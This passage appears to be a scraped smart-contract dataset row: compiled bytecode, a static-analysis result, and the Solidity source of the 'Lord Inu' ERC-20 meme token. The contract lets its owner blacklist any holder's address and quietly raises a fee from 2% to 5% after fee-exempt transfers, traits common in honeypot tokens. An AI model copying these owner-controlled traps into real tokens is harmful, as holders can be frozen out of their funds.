fffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b158015610f5e57600080fd5b505af1158015610f72573d6000803e3d6000fd5b505050506040513d6020811015610f8857600080fd5b81019080805190602001909291905050509050610fa6565b60015490505b90565b600060149054906101000a900460ff16151515610fc557600080fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561101e57600080fd5b600a60149054906101000a900460ff161561117d57600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638b477adb338585856040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001945050505050600060405180830381600087803b15801561116057600080fd5b505af1158015611174573d6000803e3d6000fd5b50505050611189565b6111888383836122d1565b5b505050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60026020528060005260406000206000915090505481565b60095481565b60045481565b60015481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561123957600080fd5b600060149054906101000a900460ff16151561125457600080fd5b60008060146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6005602052816000526040600020602052806000526040600020600091509150505481565b600060149054906101000a900460ff1681565b6000600a60149054906101000a900460ff161561144057600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231836040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1580156113fe57600080fd5b505af1158015611412573d6000803e3d6000fd5b505050506040513d602081101561142857600080fd5b8101908080519060200190929190505050905061144c565b61144982612778565b90505b919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156114ac57600080fd5b600060149054906101000a900460ff161515156114c857600080fd5b6001600060146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60088054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156115f55780601f106115ca576101008083540402835291602001916115f5565b820191906000526020600020905b8154815290600101906020018083116115d857829003601f168201915b505050505081565b600060149054906101000a900460ff1615151561161957600080fd5b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561167257600080fd5b600a60149054906101000a900460ff161561179d57600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636e18980a3384846040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050600060405180830381600087803b15801561178057600080fd5b505af1158015611794573d6000803e3d6000fd5b505050506117a8565b6117a782826127c1565b5b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561180757600080fd5b60148210151561181657600080fd5b60328110151561182557600080fd5b81600381905550611844600954600a0a82612b2990919063ffffffff16565b6004819055507fb044a1e409eac5c48e5af22d4af52670dd1a99059537a78b31b48c6500a6354e600354600454604051808381526020018281526020019250505060405180910390a15050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156118ec57600080fd5b600154816001540111151561190057600080fd5b600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054011115156119d057600080fd5b80600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550806001600082825401925050819055507fcb8241adb0c3fdb35b70c24ce35c5eb0c17af7431c99f827d44a445ca624176a816040518082815260200191505060405180910390a150565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611ae357600080fd5b8060015410151515611af457600080fd5b80600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515611b6357600080fd5b8060016000828254039250508190555080600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055507f702d5967f45f6513a38ffc42d6ba9bf230bd40e8f53b16363c7eb4fd2deb9a44816040518082815260200191505060405180910390a150565b6000600a60149054906101000a900460ff1615611d6557600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e84846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b158015611d2357600080fd5b505af1158015611d37573d6000803e3d6000fd5b505050506040513d6020811015611d4d57600080fd5b81019080805190602001909291905050509050611d72565b611d6f8383612b64565b90505b92915050565b60035481565b60066020528060005260406000206000915054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611df957600080fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507fd7e9ec6e6ecd65492dce6bf513cd6867560d49544421d0783ddf06e76c24470c81604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611f3657600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515611fad57806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561200d57600080fd5b600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561206557600080fd5b61206e8261132a565b90506000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550806001600082825403925050819055507f61e6e66b0d6339b2980aecc6ccc0039736791f0ccde9ed512e789a7fbdd698c68282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15050565b60406004810160003690501015151561214c57600080fd5b600082141580156121da57506000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414155b1515156121e657600080fd5b81600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a3505050565b60008060006060600481016000369050101515156122ee57600080fd5b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054935061239661271061238860035488612b2990919063ffffffff16565b612beb90919063ffffffff16565b92506004548311156123a85760045492505b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff841015612464576123e38585612c0690919063ffffffff16565b600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6124778386612c0690919063ffffffff16565b91506124cb85600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c0690919063ffffffff16565b600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061256082600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c1f90919063ffffffff16565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600083111561270a5761261f83600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c1f90919063ffffffff16565b600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a35b8573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a350505050505050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000806040600481016000369050101515156127dc57600080fd5b6128056127106127f760035487612b2990919063ffffffff16565b612beb90919063ffffffff16565b92506004548311156128175760045492505b61282a8385612c0690919063ffffffff16565b915061287e84600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c0690919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061291382600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c1f90919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000831115612abd576129d283600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c1f90919063ffffffff16565b600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a35b8473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050505050565b6000806000841415612b3e5760009150612b5d565b8284029050828482811515612b4f57fe5b04141515612b5957fe5b8091505b5092915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000808284811515612bf957fe5b0490508091505092915050565b6000828211151515612c1457fe5b818303905092915050565b6000808284019050838110151515612c3357fe5b80915050929150505600a165627a7a7230582000586a4a3d6c3bde0326f36b1e9964d27b7aea259b9c37d4d11802919d607f930029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
| 8,914 |
0x3d16d7f16582f0258825434Ab5A032eA4eB30F15
|
/*
LORD INU - $LORD
Telegram: https://t.me/lordinuofficial
__ _ _____
/ / ___ _ __ __| | \_ \_ __ _ _
/ / / _ \| '__/ _` | / /\/ '_ \| | | |
/ /__| (_) | | | (_| | /\/ /_ | | | | |_| |
\____/\___/|_| \__,_| \____/ |_| |_|\__,_|
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract LordInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Lord Inu";
string private constant _symbol = "LORD";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (10 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function startTrading() external onlyOwner() {
require(!tradingOpen, "trading is already started");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 600 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b41146102d3578063a9059cbb14610300578063c3c8cd8014610320578063d543dbeb14610335578063dd62ed3e1461035557600080fd5b80636fc3eaec1461026157806370a0823114610276578063715018a6146102965780638da5cb5b146102ab57600080fd5b806323b872dd116100dc57806323b872dd146101d0578063293230b8146101f0578063313ce567146102055780635932ead1146102215780636b9990531461024157600080fd5b8062b8cf2a1461011857806306fdde031461013a578063095ea7b31461017d57806318160ddd146101ad57600080fd5b3661011357005b600080fd5b34801561012457600080fd5b50610138610133366004611896565b61039b565b005b34801561014657600080fd5b506040805180820190915260088152674c6f726420496e7560c01b60208201525b60405161017491906119da565b60405180910390f35b34801561018957600080fd5b5061019d61019836600461186b565b610448565b6040519015158152602001610174565b3480156101b957600080fd5b50655af3107a40005b604051908152602001610174565b3480156101dc57600080fd5b5061019d6101eb36600461182b565b61045f565b3480156101fc57600080fd5b506101386104c8565b34801561021157600080fd5b5060405160098152602001610174565b34801561022d57600080fd5b5061013861023c36600461195d565b610885565b34801561024d57600080fd5b5061013861025c3660046117bb565b6108cd565b34801561026d57600080fd5b50610138610918565b34801561028257600080fd5b506101c26102913660046117bb565b610945565b3480156102a257600080fd5b50610138610967565b3480156102b757600080fd5b506000546040516001600160a01b039091168152602001610174565b3480156102df57600080fd5b506040805180820190915260048152631313d49160e21b6020820152610167565b34801561030c57600080fd5b5061019d61031b36600461186b565b6109db565b34801561032c57600080fd5b506101386109e8565b34801561034157600080fd5b50610138610350366004611995565b610a1e565b34801561036157600080fd5b506101c26103703660046117f3565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000546001600160a01b031633146103ce5760405162461bcd60e51b81526004016103c590611a2d565b60405180910390fd5b60005b8151811015610444576001600a600084848151811061040057634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061043c81611b40565b9150506103d1565b5050565b6000610455338484610aee565b5060015b92915050565b600061046c848484610c12565b6104be84336104b985604051806060016040528060288152602001611bab602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611024565b610aee565b5060019392505050565b6000546001600160a01b031633146104f25760405162461bcd60e51b81526004016103c590611a2d565b600f54600160a01b900460ff161561054c5760405162461bcd60e51b815260206004820152601a60248201527f74726164696e6720697320616c7265616479207374617274656400000000000060448201526064016103c5565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105863082655af3107a4000610aee565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156105bf57600080fd5b505afa1580156105d3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105f791906117d7565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561063f57600080fd5b505afa158015610653573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061067791906117d7565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156106bf57600080fd5b505af11580156106d3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106f791906117d7565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d719473061072781610945565b60008061073c6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561079f57600080fd5b505af11580156107b3573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906107d891906119ad565b5050600f8054648bb2c9700060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b15801561084d57600080fd5b505af1158015610861573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104449190611979565b6000546001600160a01b031633146108af5760405162461bcd60e51b81526004016103c590611a2d565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146108f75760405162461bcd60e51b81526004016103c590611a2d565b6001600160a01b03166000908152600a60205260409020805460ff19169055565b600c546001600160a01b0316336001600160a01b03161461093857600080fd5b476109428161105e565b50565b6001600160a01b038116600090815260026020526040812054610459906110e3565b6000546001600160a01b031633146109915760405162461bcd60e51b81526004016103c590611a2d565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6